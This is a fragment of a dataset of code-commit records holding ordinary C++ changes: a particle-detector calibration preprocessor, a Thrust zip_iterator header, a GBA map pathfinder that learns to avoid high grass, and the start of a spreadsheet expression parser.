AliT0Preprocessor::Process(TMap* dcsAliasMap )\n{\n  \/\/ T0 preprocessor return codes:\n  \/\/ return=0 : all ok\n  \/\/ return=1 : no DCS input data \n  \/\/ return=2 : failed to store DCS data\n  \/\/ return=3 : no Laser data (Walk correction)\n  \/\/ return=4 : failed to store OCDB time equalized data\n  \/\/ return=5 : no DAQ input for OCDB\n  \/\/ return=6 : failed to retrieve DAQ data from OCDB\n  \/\/ return=7 : failed to store T0 OCDB data\n\n\tBool_t resultDCSMap=kFALSE;\n\tBool_t resultDCSStore=kFALSE;\n\tBool_t resultLaser=kFALSE;\n\tBool_t resultOnline=kFALSE;  \n     \n        if(!dcsAliasMap)\n        {\n          Log(\"No DCS input data\");\n          return 1;\n        }\n        else\n        {\n\t  \/*\n          resultDCSMap=fData->ProcessData(*dcsAliasMap);\n          if(!resultDCSMap)\n          {\n            Log(\"Error when processing DCS data\");\n            return 2;\/\/ return error Code for processed DCS data not stored\n          }\n          else\n          {\n\t    Float_t *meanScaler[24] = fData->GetScalerMean();\n\t     \t\n            AliCDBMetaData metaDataDCS;\n            metaDataDCS.SetBeamPeriod(0);\n            metaDataDCS.SetResponsible(\"Tomasz Malkiewicz\");\n            metaDataDCS.SetComment(\"This preprocessor fills an AliTODataDCS object.\");\n            AliInfo(\"Storing DCS Data\");\n            resultDCSStore = Store(\"Calib\",\"DCSData\",meanScaler, &metaDataDCS);\n            if (!resultDCSStore)\n            {\n              Log(\"Some problems occurred while storing DCS data results in ReferenceDB\");\n              return 2;\/\/ return error Code for processed DCS data not stored\n            }\n\n          }\n\t  *\/\n        }\n\n        \/\/ processing DAQ\n\n        TString runType = GetRunType();\n\n        if(runType == \"T0_STANDALONE_LASER\")\n        {\n          TList* list = GetFileSources(kDAQ, \"LASER\");\n          if (list)\n          {\n            TIter iter(list);\n            TObjString *source;\n            while ((source = dynamic_cast<TObjString *> (iter.Next())))\n            {\n              const char *laserFile = GetFile(kDAQ, \"LASER\", source->GetName());\n              if (laserFile)\n              {\n                Log(Form(\"File with Id LASER found in source %s!\", source->GetName()));\n                AliT0CalibWalk *laser = new AliT0CalibWalk();\n                laser->MakeWalkCorrGraph(laserFile);\n                AliCDBMetaData metaData;\n                metaData.SetBeamPeriod(0);\n                metaData.SetResponsible(\"Tomek&Michal\");\n                metaData.SetComment(\"Walk correction from laser runs.\");\n\t\t\/\/TObjArray* arrLaser = laser->GetfWalk();\n\t\tresultLaser=Store(\"Calib\",\"Slewing_Walk\", laser, &metaData, 0, 1);\n                delete laser;\n              }\n              else\n              {\n                Log(Form(\"Could not find file with Id LASER in source %s!\", source->GetName()));\n                return 1;\n              }\n            }\n            if (!resultLaser)\n            {\n              Log(\"No Laser Data stored\");\n              return 3;\/\/return error code for failure in storing Laser Data\n            }\n          } else {\n\t  \tLog(\"No sources found for id LASER!\");\n\t\treturn 1;\n\t  }\n        }\n        else if(runType == \"PHYSICS\")\n        {\n          TList* listPhys = GetFileSources(kDAQ, \"PHYSICS\");\n          if (listPhys)\n          {\n            TIter iter(listPhys);\n            TObjString *sourcePhys;\n            while ((sourcePhys = dynamic_cast<TObjString *> (iter.Next())))\n            {\n              const char *filePhys = GetFile(kDAQ, \"PHYSICS\", sourcePhys->GetName());\n              if (filePhys)\n              {\n                AliT0CalibTimeEq *online = new AliT0CalibTimeEq();\n                online->Reset();\n                online->ComputeOnlineParams(\"CFD\", 20, 4., filePhys);\n                AliCDBMetaData metaData;\n                metaData.SetBeamPeriod(0);\n                metaData.SetResponsible(\"Tomek&Michal\");\n                metaData.SetComment(\"Time equalizing result.\");\n                resultOnline = Store(\"Calib\",\"TimeDelay\", online, &metaData, 0, 1);\n                delete online;\n              }\n              else\n              {\n                Log(Form(\"Could not find file with Id PHYSICS in source %s!\", sourcePhys->GetName()));\n                return 1;\n              }\n            }\n            if (!resultOnline)\n            {\n              Log(\"No Laser Data stored\");\n              return 4;\/\/return error code for failure in storing OCDB Data\n            }\n          } else {\n\t  \tLog(\"No sources found for id PHYSICS!\");\n\t\treturn 1;\n\t  }\n        }\n\n  return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright 2008-2012 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#include <thrust\/iterator\/zip_iterator.h>\n#include <thrust\/detail\/tuple_transform.h>\n\nnamespace thrust\n{\n\n\ntemplate <typename IteratorTuple>\n  zip_iterator<IteratorTuple>\n    ::zip_iterator(void)\n{\n} \/\/ end zip_iterator::zip_iterator()\n\n\ntemplate <typename IteratorTuple>\n  zip_iterator<IteratorTuple>\n    ::zip_iterator(IteratorTuple iterator_tuple)\n      :m_iterator_tuple(iterator_tuple)\n{\n} \/\/ end zip_iterator::zip_iterator()\n\n\ntemplate <typename IteratorTuple>\n  template <typename OtherIteratorTuple>\n    zip_iterator<IteratorTuple>\n      ::zip_iterator(const zip_iterator<OtherIteratorTuple> &other,\n                     typename thrust::detail::enable_if_convertible<\n                       OtherIteratorTuple,\n                       IteratorTuple\n                     >::type *)\n        :m_iterator_tuple(other.get_iterator_tuple())\n{\n} \/\/ end zip_iterator::zip_iterator()\n\n\ntemplate <typename IteratorTuple>\nconst IteratorTuple &zip_iterator<IteratorTuple>\n  ::get_iterator_tuple(void) const\n{\n  return m_iterator_tuple;\n} \/\/ end zip_iterator::get_iterator_tuple()\n\n\ntemplate <typename IteratorTuple>\n  typename zip_iterator<IteratorTuple>::super_t::reference\n    zip_iterator<IteratorTuple>\n      ::dereference(void) const\n{\n  using namespace detail::tuple_impl_specific;\n\n  return thrust::detail::tuple_host_device_transform<detail::dereference_iterator::template apply>(get_iterator_tuple(), detail::dereference_iterator());\n} \/\/ end zip_iterator::dereference()\n\n\ntemplate <typename IteratorTuple>\n  template <typename OtherIteratorTuple>\n    bool zip_iterator<IteratorTuple>\n      ::equal(const zip_iterator<OtherIteratorTuple> &other) const\n{\n  return get<0>(get_iterator_tuple()) == get<0>(other.get_iterator_tuple());\n} \/\/ end zip_iterator::equal()\n\n\ntemplate <typename IteratorTuple>\n  void zip_iterator<IteratorTuple>\n    ::advance(typename super_t::difference_type n)\n{\n  using namespace detail::tuple_impl_specific;\n\n  \/\/ XXX note that we use a pointer to System to dispatch to avoid\n  \/\/     default construction of a System\n  typename thrust::iterator_system<zip_iterator>::type *use_me_to_dispatch = 0;\n\n  \/\/ dispatch on system\n  tuple_for_each(m_iterator_tuple,\n                 detail::advance_iterator<typename super_t::difference_type>(n),\n                 use_me_to_dispatch);\n} \/\/ end zip_iterator::advance()\n\n\ntemplate <typename IteratorTuple>\n  void zip_iterator<IteratorTuple>\n    ::increment(void)\n{\n  using namespace detail::tuple_impl_specific;\n\n  \/\/ XXX note that we use a pointer to System to dispatch to avoid\n  \/\/     default construction of a System\n  typename thrust::iterator_system<zip_iterator>::type *use_me_to_dispatch = 0;\n\n  \/\/ dispatch on system\n  tuple_for_each(m_iterator_tuple, detail::increment_iterator(),\n                 use_me_to_dispatch);\n} \/\/ end zip_iterator::increment()\n\n\ntemplate <typename IteratorTuple>\n  void zip_iterator<IteratorTuple>\n    ::decrement(void)\n{\n  using namespace detail::tuple_impl_specific;\n\n  \/\/ dispatch on system\n  tuple_for_each(m_iterator_tuple, detail::decrement_iterator(),\n                 typename thrust::iterator_system<zip_iterator>::type());\n} \/\/ end zip_iterator::decrement()\n\n\ntemplate <typename IteratorTuple>\n  template <typename OtherIteratorTuple>\n    typename zip_iterator<IteratorTuple>::super_t::difference_type\n      zip_iterator<IteratorTuple>\n        ::distance_to(const zip_iterator<OtherIteratorTuple> &other) const\n{\n  return get<0>(other.get_iterator_tuple()) - get<0>(get_iterator_tuple());\n} \/\/ end zip_iterator::distance_to()\n\n\ntemplate <typename IteratorTuple>\n  zip_iterator<IteratorTuple> make_zip_iterator(IteratorTuple t)\n{\n  return zip_iterator<IteratorTuple>(t);\n} \/\/ end make_zip_iterator()\n\n\n} \/\/ end thrust\n\n<commit_msg>Port zip_iterator::decrement to the pointer-based path for tuple_for_each.<commit_after>\/*\n *  Copyright 2008-2012 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#include <thrust\/iterator\/zip_iterator.h>\n#include <thrust\/detail\/tuple_transform.h>\n\nnamespace thrust\n{\n\n\ntemplate <typename IteratorTuple>\n  zip_iterator<IteratorTuple>\n    ::zip_iterator(void)\n{\n} \/\/ end zip_iterator::zip_iterator()\n\n\ntemplate <typename IteratorTuple>\n  zip_iterator<IteratorTuple>\n    ::zip_iterator(IteratorTuple iterator_tuple)\n      :m_iterator_tuple(iterator_tuple)\n{\n} \/\/ end zip_iterator::zip_iterator()\n\n\ntemplate <typename IteratorTuple>\n  template <typename OtherIteratorTuple>\n    zip_iterator<IteratorTuple>\n      ::zip_iterator(const zip_iterator<OtherIteratorTuple> &other,\n                     typename thrust::detail::enable_if_convertible<\n                       OtherIteratorTuple,\n                       IteratorTuple\n                     >::type *)\n        :m_iterator_tuple(other.get_iterator_tuple())\n{\n} \/\/ end zip_iterator::zip_iterator()\n\n\ntemplate <typename IteratorTuple>\nconst IteratorTuple &zip_iterator<IteratorTuple>\n  ::get_iterator_tuple(void) const\n{\n  return m_iterator_tuple;\n} \/\/ end zip_iterator::get_iterator_tuple()\n\n\ntemplate <typename IteratorTuple>\n  typename zip_iterator<IteratorTuple>::super_t::reference\n    zip_iterator<IteratorTuple>\n      ::dereference(void) const\n{\n  using namespace detail::tuple_impl_specific;\n\n  return thrust::detail::tuple_host_device_transform<detail::dereference_iterator::template apply>(get_iterator_tuple(), detail::dereference_iterator());\n} \/\/ end zip_iterator::dereference()\n\n\ntemplate <typename IteratorTuple>\n  template <typename OtherIteratorTuple>\n    bool zip_iterator<IteratorTuple>\n      ::equal(const zip_iterator<OtherIteratorTuple> &other) const\n{\n  return get<0>(get_iterator_tuple()) == get<0>(other.get_iterator_tuple());\n} \/\/ end zip_iterator::equal()\n\n\ntemplate <typename IteratorTuple>\n  void zip_iterator<IteratorTuple>\n    ::advance(typename super_t::difference_type n)\n{\n  using namespace detail::tuple_impl_specific;\n\n  \/\/ XXX note that we use a pointer to System to dispatch to avoid\n  \/\/     default construction of a System\n  typename thrust::iterator_system<zip_iterator>::type *use_me_to_dispatch = 0;\n\n  \/\/ dispatch on system\n  tuple_for_each(m_iterator_tuple,\n                 detail::advance_iterator<typename super_t::difference_type>(n),\n                 use_me_to_dispatch);\n} \/\/ end zip_iterator::advance()\n\n\ntemplate <typename IteratorTuple>\n  void zip_iterator<IteratorTuple>\n    ::increment(void)\n{\n  using namespace detail::tuple_impl_specific;\n\n  \/\/ XXX note that we use a pointer to System to dispatch to avoid\n  \/\/     default construction of a System\n  typename thrust::iterator_system<zip_iterator>::type *use_me_to_dispatch = 0;\n\n  \/\/ dispatch on system\n  tuple_for_each(m_iterator_tuple, detail::increment_iterator(),\n                 use_me_to_dispatch);\n} \/\/ end zip_iterator::increment()\n\n\ntemplate <typename IteratorTuple>\n  void zip_iterator<IteratorTuple>\n    ::decrement(void)\n{\n  using namespace detail::tuple_impl_specific;\n\n  \/\/ XXX note that we use a pointer to System to dispatch to avoid\n  \/\/     default construction of a System\n  typename thrust::iterator_system<zip_iterator>::type *use_me_to_dispatch = 0;\n\n  \/\/ dispatch on system\n  tuple_for_each(m_iterator_tuple, detail::decrement_iterator(),\n                 use_me_to_dispatch);\n} \/\/ end zip_iterator::decrement()\n\n\ntemplate <typename IteratorTuple>\n  template <typename OtherIteratorTuple>\n    typename zip_iterator<IteratorTuple>::super_t::difference_type\n      zip_iterator<IteratorTuple>\n        ::distance_to(const zip_iterator<OtherIteratorTuple> &other) const\n{\n  return get<0>(other.get_iterator_tuple()) - get<0>(get_iterator_tuple());\n} \/\/ end zip_iterator::distance_to()\n\n\ntemplate <typename IteratorTuple>\n  zip_iterator<IteratorTuple> make_zip_iterator(IteratorTuple t)\n{\n  return zip_iterator<IteratorTuple>(t);\n} \/\/ end make_zip_iterator()\n\n\n} \/\/ end thrust\n\n<|endoftext|>"}
{"text":"<commit_before>#include\t\"World.hh\"\n\nWorld::World()\n{\n  _initWorld();\n  _initWildBattles();\n}\n\nWorld::~World()\n{\n}\n\nvoid\t\tWorld::_initWorld()\n{\n  int\t\tbanki = 0;\n  uint32_t\t*bankptr = (uint32_t *) (rom + BANK_PTR);\n  uint32_t\trel = bankptr[banki];\n  uint32_t\tnext = bankptr[banki + 1];\n\n  while (next > ROM_OFFSET)\n    {\n      _banks.push_back(std::vector<Map>());\n      std::vector<Map>\t&maps = _banks.back();\n\n      for (uint32_t mapi = rel; mapi < next; mapi += 4)\n\t{\n\t  maps.push_back(Map());\n\t  Map\t\t&map = maps.back();\n\t  uint32_t\tmapaddr = *((uint32_t *) gbaMem(mapi));\n\t  Header\t*header = (Header *) gbaMem(mapaddr);\n\t  DataHeader\t*dheader = (DataHeader *) gbaMem(header->mapPtr);\n\t  TilesetHeader\t*global = (TilesetHeader *) gbaMem(dheader->globalTileset);\n\t  TilesetHeader\t*local = (TilesetHeader *) gbaMem(dheader->localTileset);\n\t  Map::TileAttr\t*globPtr = (Map::TileAttr *) gbaMem(global->behaviorPtr);\n\t  Map::TileAttr\t*localPtr = (Map::TileAttr *) gbaMem(local->behaviorPtr);\n\t  uint16_t\t*d = (uint16_t *) gbaMem(dheader->data);\n\t  Event\t\t*evtPtr = (Event *) gbaMem(header->evtPtr);\n\n\t  map.width = dheader->width;\n\t  map.height = dheader->height;\n\t  map.nbPersons = evtPtr->nbPersons;\n\t  map.nbWarps = evtPtr->nbWarps;\n\t  map.nbScripts = evtPtr->nbScripts;\n\t  map.nbSigns = evtPtr->nbSigns;\n\t  map.persons = (PersonEvt *) gbaMem(evtPtr->personsPtr);\n\t  map.warps = (WarpEvt *) gbaMem(evtPtr->warpsPtr);\n\t  map.scripts = (ScriptEvt *) gbaMem(evtPtr->scriptsPtr);\n\t  map.signs = (SignEvt *) gbaMem(evtPtr->signsPtr);\n\t  map.nbConnects = ((uint32_t *) gbaMem(header->connectPtr))[0];\n\t  map.connects = (Connection *) gbaMem(((uint32_t *) gbaMem(header->connectPtr))[1]);\n\t  map.scriptPtr = header->scriptPtr;\n\t  map.data = new Map::Node*[map.height]();\n\t  for (uint16_t y = 0; y < map.height; y++)\n\t    {\n\t      map.data[y] = new Map::Node[map.width]();\n\t      for (uint16_t x = 0; x < map.width; x++)\n\t\t{\n\t\t  uint16_t\tt = d[y * map.width + x] & ((1 << 10) - 1);\n\n\t\t  map.data[y][x] = Map::Node(x, y);\n\t\t  map.data[y][x].status = d[y * map.width + x] >> 10;\n\t\t  map.data[y][x].tile = t;\n\t\t  map.data[y][x].attr = t < 0x280 ? globPtr + t : localPtr + t - 0x280;\n\t\t}\n\t    }\n\t}\n      banki++;\n      rel = next;\n      next = bankptr[banki + 1];\n    }\n}\n\nvoid\t\tWorld::_initWildBattles()\n{\n  WildHeader\t*wh = (WildHeader *) gbaMem(0x083c9cb8);\n\n  while (wh->bank != 0xFF || wh->map != 0xFF)\n    {\n      Map\t&map = getMap(wh->bank, wh->map);\n      for (int i = 0; i < 4; i++)\n\t{\n\t  map.wildBattles[i].nbEntries = 0;\n\t  map.wildBattles[i].ratio = 0;\n\t  if (wh->entryPtr[i])\n\t    {\n\t      uint32_t\t*eh = (uint32_t *) gbaMem(wh->entryPtr[i]);\n\t      map.wildBattles[i].ratio = eh[0];\n\t      map.wildBattles[i].entries = (WildEntry *) gbaMem(eh[1]);\n\t      map.wildBattles[i].nbEntries = (wh->entryPtr[i] - eh[1]) \/ 4;\n\t    }\n\t}\n      wh++;\n    }\n}\n\nint\t\tWorld::Map::_getNextIndex(std::vector<Node*> *set)\n{\n  int\t\ti = -1;\n  uint32_t\tmin;\n  uint32_t\tcount = 0;\n\n  for (std::vector<Node*>::iterator it = set->begin(); it != set->end(); it++)\n    {\n      if (i == -1 || (*it)->f < min)\n\t{\n\t  i = count;\n\t  min = (*it)->f;\n\t}\n      count++;\n    }\n  return (i);\n}\n\nstd::vector<World::Map::Node*>*\tWorld::Map::_rebuildPath(std::vector<Node*>* set, Node *node)\n{\n  if (node->from)\n    _rebuildPath(set, node->from);\n  set->push_back(node);\n  return (set);\n}\n\nbool\t\tcheckHills(int i, int j, uint16_t next_behavior,\n\t\t\t   uint16_t curr_behavior)\n{\n  \/\/ Jump down hill\n  return ((j == 1 && next_behavior == 0x3b) ||\n\t  (j == 1 && curr_behavior == 0x3b) ||\n\t  \/\/ Jump right hill\n\t  (i == 1 && next_behavior == 0x38) ||\n\t  (i == 1 && curr_behavior == 0x38) ||\n\t  \/\/ Jump left hill\n\t  (i == -1 && next_behavior == 0x39) ||\n\t  (i == -1 && curr_behavior == 0x39));\n}\n\nbool\t\tcheckWalkableTiles(std::vector<uint8_t> walkableTiles,\n\t\t\t\t   uint8_t status, uint16_t behavior)\n{\n  \/\/ Check walkable tiles (grass\/tile near escalator, for now)\n  return (std::find(walkableTiles.begin(),\n\t\t    walkableTiles.end(),\n\t\t    status) != walkableTiles.end() &&\n\t  \/\/ Check that it's not an escalator\n\t  behavior != 0x6b &&\n\t  behavior != 0x6a);\n}\n\nstd::vector<World::Map::Node*>*\tWorld::Map::findPath(uint32_t xs, uint32_t ys,\n\t\t\t\t\t\t     uint32_t xe, uint32_t ye)\n{\n  std::vector<Node*>\topenset;\n  std::vector<Node*>\tclosedset;\n  static const uint8_t        arr[] = {0x0C,\t\/\/Grass\/Road\n\t\t\t\t       0x00,\t\/\/Area around objects\n\t\t\t\t       0x10};\t\/\/Escalators\n  std::vector<uint8_t>        walkableTiles(arr, arr + sizeof(arr) \/ sizeof(arr[0]));\n\n  openset.push_back(new Node(xs, ys));\n  openset.back()->setF(xe, ye);\n  while (openset.size())\n    {\n      int\t\ti = _getNextIndex(&openset);\n      Node*\t\tcurr = openset[i];\n      openset.erase(openset.begin() + i);\n      if (curr->x == xe && curr->y == ye)\n\treturn (_rebuildPath(new std::vector<Node*>, curr));\n      closedset.push_back(curr);\n      for (int j = -1; j <= 1; j++)\n\t{\n\t  for (int i = -1; i <= 1; i++)\n\t    {\n\t      int\tx = curr->x + i;\n\t      int\ty = curr->y + j;\n\n\t      \/\/ Boundaries check\n\t      if (x < 0 || x >= (int) width || y < 0 || y >= (int) height ||\n\t\t  (!i && !j) || (i && j))\n\t\tcontinue;\n\t      \/\/ Tile type check\n\t      if (!(checkHills(i, j, data[y][x].attr->behavior, data[curr->y][curr->x].attr->behavior) ||\n\t\t    checkWalkableTiles(walkableTiles, data[y][x].status, data[y][x].attr->behavior) ||\n\t\t    \/\/ Block access to hill from a lower level\n\t\t    data[y][x].attr->behavior == 0x32 ||\n\t\t    \/\/ Check if escalator is the final tile\n\t\t    (!j && (data[y][x].attr->behavior == 0x6b ||\n\t\t\t    data[y][x].attr->behavior == 0x6a) && x == (int) xe && y == (int) ye)))\n\t\tcontinue;\n\n\t      Node\t*neighbor = &(data[y][x]);\n\t      std::vector<Node*>::iterator\tit = std::find(closedset.begin(),\n\t\t\t\t\t\t\t       closedset.end(),\n\t\t\t\t\t\t\t       neighbor);\n\t      uint32_t\tg = curr->g + (!i || !j ? 10 : 14);\n\t      if (it != closedset.end() && g >= neighbor->g)\n\t\tcontinue;\n\t      if (it == closedset.end() || g < neighbor->g)\n\t\t{\n\t\t  neighbor->from = curr;\n\t\t  neighbor->setG(g);\n\t\t  neighbor->setF(xe, ye);\n\t\t  if (std::find(openset.begin(), openset.end(), neighbor) == openset.end())\n\t\t    openset.push_back(neighbor);\n\t\t}\n\t    }\n\t}\n    }\n  return (NULL);\n}\n<commit_msg>add: avoid high grass<commit_after>#include\t\"World.hh\"\n\nWorld::World()\n{\n  _initWorld();\n  _initWildBattles();\n}\n\nWorld::~World()\n{\n}\n\nvoid\t\tWorld::_initWorld()\n{\n  int\t\tbanki = 0;\n  uint32_t\t*bankptr = (uint32_t *) (rom + BANK_PTR);\n  uint32_t\trel = bankptr[banki];\n  uint32_t\tnext = bankptr[banki + 1];\n\n  while (next > ROM_OFFSET)\n    {\n      _banks.push_back(std::vector<Map>());\n      std::vector<Map>\t&maps = _banks.back();\n\n      for (uint32_t mapi = rel; mapi < next; mapi += 4)\n\t{\n\t  maps.push_back(Map());\n\t  Map\t\t&map = maps.back();\n\t  uint32_t\tmapaddr = *((uint32_t *) gbaMem(mapi));\n\t  Header\t*header = (Header *) gbaMem(mapaddr);\n\t  DataHeader\t*dheader = (DataHeader *) gbaMem(header->mapPtr);\n\t  TilesetHeader\t*global = (TilesetHeader *) gbaMem(dheader->globalTileset);\n\t  TilesetHeader\t*local = (TilesetHeader *) gbaMem(dheader->localTileset);\n\t  Map::TileAttr\t*globPtr = (Map::TileAttr *) gbaMem(global->behaviorPtr);\n\t  Map::TileAttr\t*localPtr = (Map::TileAttr *) gbaMem(local->behaviorPtr);\n\t  uint16_t\t*d = (uint16_t *) gbaMem(dheader->data);\n\t  Event\t\t*evtPtr = (Event *) gbaMem(header->evtPtr);\n\n\t  map.width = dheader->width;\n\t  map.height = dheader->height;\n\t  map.nbPersons = evtPtr->nbPersons;\n\t  map.nbWarps = evtPtr->nbWarps;\n\t  map.nbScripts = evtPtr->nbScripts;\n\t  map.nbSigns = evtPtr->nbSigns;\n\t  map.persons = (PersonEvt *) gbaMem(evtPtr->personsPtr);\n\t  map.warps = (WarpEvt *) gbaMem(evtPtr->warpsPtr);\n\t  map.scripts = (ScriptEvt *) gbaMem(evtPtr->scriptsPtr);\n\t  map.signs = (SignEvt *) gbaMem(evtPtr->signsPtr);\n\t  map.nbConnects = ((uint32_t *) gbaMem(header->connectPtr))[0];\n\t  map.connects = (Connection *) gbaMem(((uint32_t *) gbaMem(header->connectPtr))[1]);\n\t  map.scriptPtr = header->scriptPtr;\n\t  map.data = new Map::Node*[map.height]();\n\t  for (uint16_t y = 0; y < map.height; y++)\n\t    {\n\t      map.data[y] = new Map::Node[map.width]();\n\t      for (uint16_t x = 0; x < map.width; x++)\n\t\t{\n\t\t  uint16_t\tt = d[y * map.width + x] & ((1 << 10) - 1);\n\n\t\t  map.data[y][x] = Map::Node(x, y);\n\t\t  map.data[y][x].status = d[y * map.width + x] >> 10;\n\t\t  map.data[y][x].tile = t;\n\t\t  map.data[y][x].attr = t < 0x280 ? globPtr + t : localPtr + t - 0x280;\n\t\t}\n\t    }\n\t}\n      banki++;\n      rel = next;\n      next = bankptr[banki + 1];\n    }\n}\n\nvoid\t\tWorld::_initWildBattles()\n{\n  WildHeader\t*wh = (WildHeader *) gbaMem(0x083c9cb8);\n\n  while (wh->bank != 0xFF || wh->map != 0xFF)\n    {\n      Map\t&map = getMap(wh->bank, wh->map);\n      for (int i = 0; i < 4; i++)\n\t{\n\t  map.wildBattles[i].nbEntries = 0;\n\t  map.wildBattles[i].ratio = 0;\n\t  if (wh->entryPtr[i])\n\t    {\n\t      uint32_t\t*eh = (uint32_t *) gbaMem(wh->entryPtr[i]);\n\t      map.wildBattles[i].ratio = eh[0];\n\t      map.wildBattles[i].entries = (WildEntry *) gbaMem(eh[1]);\n\t      map.wildBattles[i].nbEntries = (wh->entryPtr[i] - eh[1]) \/ 4;\n\t    }\n\t}\n      wh++;\n    }\n}\n\nint\t\tWorld::Map::_getNextIndex(std::vector<Node*> *set)\n{\n  int\t\ti = -1;\n  uint32_t\tmin;\n  uint32_t\tcount = 0;\n\n  for (std::vector<Node*>::iterator it = set->begin(); it != set->end(); it++)\n    {\n      if (i == -1 || (*it)->f < min)\n\t{\n\t  i = count;\n\t  min = (*it)->f;\n\t}\n      count++;\n    }\n  return (i);\n}\n\nstd::vector<World::Map::Node*>*\tWorld::Map::_rebuildPath(std::vector<Node*>* set, Node *node)\n{\n  if (node->from)\n    _rebuildPath(set, node->from);\n  set->push_back(node);\n  return (set);\n}\n\nbool\t\tcheckHills(int i, int j, uint16_t next_behavior,\n\t\t\t   uint16_t curr_behavior)\n{\n  \/\/ Jump down hill\n  return ((j == 1 && next_behavior == 0x3b) ||\n\t  (j == 1 && curr_behavior == 0x3b) ||\n\t  \/\/ Jump right hill\n\t  (i == 1 && next_behavior == 0x38) ||\n\t  (i == 1 && curr_behavior == 0x38) ||\n\t  \/\/ Jump left hill\n\t  (i == -1 && next_behavior == 0x39) ||\n\t  (i == -1 && curr_behavior == 0x39));\n}\n\nbool\t\tcheckWalkableTiles(std::vector<uint8_t> walkableTiles,\n\t\t\t\t   uint8_t status, uint16_t behavior)\n{\n  \/\/ Check walkable tiles (grass\/tile near escalator, for now)\n  return (std::find(walkableTiles.begin(),\n\t\t    walkableTiles.end(),\n\t\t    status) != walkableTiles.end() &&\n\t  \/\/ Check that it's not an escalator\n\t  behavior != 0x6b &&\n\t  behavior != 0x6a);\n}\n\nstd::vector<World::Map::Node*>*\tWorld::Map::findPath(uint32_t xs, uint32_t ys,\n\t\t\t\t\t\t     uint32_t xe, uint32_t ye)\n{\n  std::vector<Node*>\topenset;\n  std::vector<Node*>\tclosedset;\n  static const uint8_t\tarr[] = {0x0C,\t\/\/Grass\/Road\n\t\t\t\t 0x00,\t\/\/Area around objects\n\t\t\t\t 0x10};\t\/\/Escalators\n  std::vector<uint8_t>\twalkableTiles(arr, arr + sizeof(arr) \/ sizeof(arr[0]));\n\n  openset.push_back(new Node(xs, ys));\n  openset.back()->setF(xe, ye);\n  while (openset.size())\n    {\n      int\t\ti = _getNextIndex(&openset);\n      Node*\t\tcurr = openset[i];\n      openset.erase(openset.begin() + i);\n      if (curr->x == xe && curr->y == ye)\n\treturn (_rebuildPath(new std::vector<Node*>, curr));\n      closedset.push_back(curr);\n      for (int j = -1; j <= 1; j++)\n\t{\n\t  for (int i = -1; i <= 1; i++)\n\t    {\n\t      int\tx = curr->x + i;\n\t      int\ty = curr->y + j;\n\n\t      \/\/ Boundaries check\n\t      if (x < 0 || x >= (int) width || y < 0 || y >= (int) height ||\n\t\t  (!i && !j) || (i && j))\n\t\tcontinue;\n\t      \/\/ Tile type check\n\t      if (!(checkHills(i, j, data[y][x].attr->behavior, data[curr->y][curr->x].attr->behavior) ||\n\t\t    checkWalkableTiles(walkableTiles, data[y][x].status, data[y][x].attr->behavior) ||\n\t\t    \/\/ Block access to hill from a lower level\n\t\t    data[y][x].attr->behavior == 0x32 ||\n\t\t    \/\/ Check if escalator is the final tile\n\t\t    (!j && (data[y][x].attr->behavior == 0x6b ||\n\t\t\t    data[y][x].attr->behavior == 0x6a) && x == (int) xe && y == (int) ye)))\n\t\tcontinue;\n\n\t      Node\t\t\t\t*neighbor = &(data[y][x]);\n\t      std::vector<Node*>::iterator\tit = std::find(closedset.begin(),\n\t\t\t\t\t\t\t       closedset.end(),\n\t\t\t\t\t\t\t       neighbor);\n\t      uint32_t\tg = curr->g + 10;\n\t      if (data[y][x].attr->behavior == 0x0202)\n\t\tg += 20; \/\/ Grass \"fear\"\n\t      if (it != closedset.end() && g >= neighbor->g)\n\t\tcontinue;\n\t      if (it == closedset.end() || g < neighbor->g)\n\t\t{\n\t\t  neighbor->from = curr;\n\t\t  neighbor->setG(g);\n\t\t  neighbor->setF(xe, ye);\n\t\t  if (std::find(openset.begin(), openset.end(), neighbor) == openset.end())\n\t\t    openset.push_back(neighbor);\n\t\t}\n\t    }\n\t}\n    }\n  return (NULL);\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"Expression.h\"\n#include \"Tokenizer.h\"\n#include \"Document.h\"\n#include \"Editor.h\"\n#include \"Log.h\"\n#include \"Tcl.h\"\n\n#include <unordered_map>\n#include <stack>\n\nenum class Function\n{\n  Sum,\n  Min,\n  Max\n};\n\nenum class Operator\n{\n  Range,\n  Multiply,\n  Divide,\n  Add,\n  Subtract\n};\n\nstatic const std::unordered_map<std::string, std::tuple<uint32_t, Operator>> operatorTable_ = {\n  { \":\",  std::make_tuple(5, Operator::Range) },\n  { \"*\",  std::make_tuple(4, Operator::Multiply) },\n  { \"\/\",  std::make_tuple(3, Operator::Divide) },\n  { \"+\",  std::make_tuple(1, Operator::Add) },\n  { \"-\",  std::make_tuple(1, Operator::Subtract) }\n};\n\nstatic const std::unordered_map<std::string, Function> functionTable_ = {\n  { \"SUM\", Function::Sum },\n  { \"MIN\", Function::Min },\n  { \"MAX\", Function::Max }\n};\n\n\nstd::string Expr::toStr() const\n{\n  switch (type_)\n  {\n    case Expr::Constant:\n      return str::fromDouble(constant_);\n\n    case Expr::Operator:\n      return \"Operator(\" + str::fromInt(id_) + \")\";\n\n    case Expr::Function:\n      return \"Function(\" + str::fromInt(id_) + \")\";\n\n    case Expr::Cell:\n      return index_.toStr();\n  }\n}\n\ndouble Expr::toDouble() const\n{\n  switch (type_)\n  {\n    case Expr::Constant:\n      return constant_;\n\n    case Expr::Cell:\n      return doc::getCellValue(index_);\n\n    default:\n      return 0.0;\n  }\n}\n\nstatic std::string stringExpr(std::vector<Expr> const& output)\n{\n  std::string result;\n  